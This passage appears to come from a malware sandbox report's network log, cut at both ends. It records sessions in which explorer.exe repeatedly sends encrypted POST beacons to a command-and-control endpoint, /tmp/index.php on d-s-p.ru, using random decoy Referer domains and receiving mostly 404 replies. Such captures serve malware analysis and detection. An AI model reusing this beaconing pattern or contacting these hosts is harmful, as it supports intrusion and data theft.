6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49755	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:50.480118036 CET	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://htevegfcswyxd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 227 Host: d-s-p.ru
Dec 30, 2024 19:42:50.480182886 CET	227	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 18 6b 2c 90 f5 76 0b 75 59 5b d9 93 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vuY[zXpy`_![eVRhw4j9_O+@Ct(^U*J o[[luUhIXyxsp.
Dec 30, 2024 19:42:52.207444906 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:51 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49757	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:52.217294931 CET	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hxhrbhxaiegx.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 238 Host: d-s-p.ru
Dec 30, 2024 19:42:52.217294931 CET	238	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 19 6b 2c 90 f5 76 0b 75 27 07 ee ad Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vu'yMVS[vcL`4O?bmFG@9NoV>^#1bM.{BMs-V }uZ_*Z{eln
Dec 30, 2024 19:42:53.671240091 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:53 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49758	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:53.737289906 CET	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nysccihvdkds.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 251 Host: d-s-p.ru
Dec 30, 2024 19:42:53.737310886 CET	251	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1e 6b 2c 90 f5 76 0b 75 3e 49 f3 ed Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vu>IJLwdlkR%q+B\|CbKiFIFPvgzD!8QzXD]*J#.jRR8x$NT9j
Dec 30, 2024 19:42:55.176757097 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:54 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 06 63 42 f3 31 04 ed f1 49 f6 9d ed e4 21 9b 23 9a e8 31 55 12 c3 89 9b c2 63 9a 3b 0d 16 Data Ascii: #\6cB1I!#1Uc;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49841	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:43:07.653389931 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://grgynsvjunbdyj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 147 Host: d-s-p.ru
Dec 30, 2024 19:43:07.653423071 CET	147	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1f 6b 2c 90 f5 76 0b 75 7c 0a d4 a9 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vu\|%`{Gjws@du&/U05JWQ(TN
Dec 30, 2024 19:43:09.099405050 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:43:08 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49849	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:43:09.106652021 CET	277	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rkeqfvulevu.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 333 Host: d-s-p.ru
Dec 30, 2024 19:43:09.106662035 CET	333	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1c 6b 2c 90 f5 76 0b 75 7a 1c a1 98 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vuzbhSi;]bX,a3)zY^0\|CI@\OabJ8Y[2}lOyR0$iR'CO>*x
Dec 30, 2024 19:43:10.549905062 CET	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:43:10 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49859	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:43:10.566921949 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://paiaccswdvwaulm.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 193 Host: d-s-p.ru
Dec 30, 2024 19:43:10.566961050 CET	193	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1d 6b 2c 90 f5 76 0b 75 27 0b a3 a3 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vu'r"C\T.$=u.Y6;ea.QMZ9p'N*AZV
Dec 30, 2024 19:43:12.024653912 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:43:11 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49869	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:43:12.032145023 CET	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ecpopbfcnylhn.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 124 Host: d-s-p.ru
Dec 30, 2024 19:43:12.032157898 CET	124	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 12 6b 2c 90 f5 76 0b 75 6e 24 dd b5 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vun$,z]wv=EOy>7Mq
Dec 30, 2024 19:43:13.485539913 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:43:13 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49880	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:43:13.593446970 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wgfecinevmagrs.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 131 Host: d-s-p.ru
Dec 30, 2024 19:43:13.593468904 CET	131	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 13 6b 2c 90 f5 76 0b 75 76 1c d9 ab Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vuv$vlnDVp{qX?AQ
Dec 30, 2024 19:43:15.049071074 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:43:14 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49891	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:43:15.059665918 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wgggkliaxflrlukv.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 339 Host: d-s-p.ru
Dec 30, 2024 19:43:15.059684038 CET	339	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 10 6b 2c 90 f5 76 0b 75 46 1b d5 f0 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vuF&YvMwe6Ct~dZR=uDd%6R&<#4"e.Mjqr_R%=*U3B_r^AF%NmsoT-
Dec 30, 2024 19:43:16.521765947 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:43:16 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49901	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:43:16.600547075 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://abtqqggxsfhktnpg.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 333 Host: d-s-p.ru
Dec 30, 2024 19:43:16.600569963 CET	333	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 11 6b 2c 90 f5 76 0b 75 57 5d d2 88 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vuW]hTXQxc-K!`;:}P&'QUn"Z5IF_5t`WVKE!ZE3cyGjl{k)oOPs
Dec 30, 2024 19:43:18.168605089 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:43:17 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 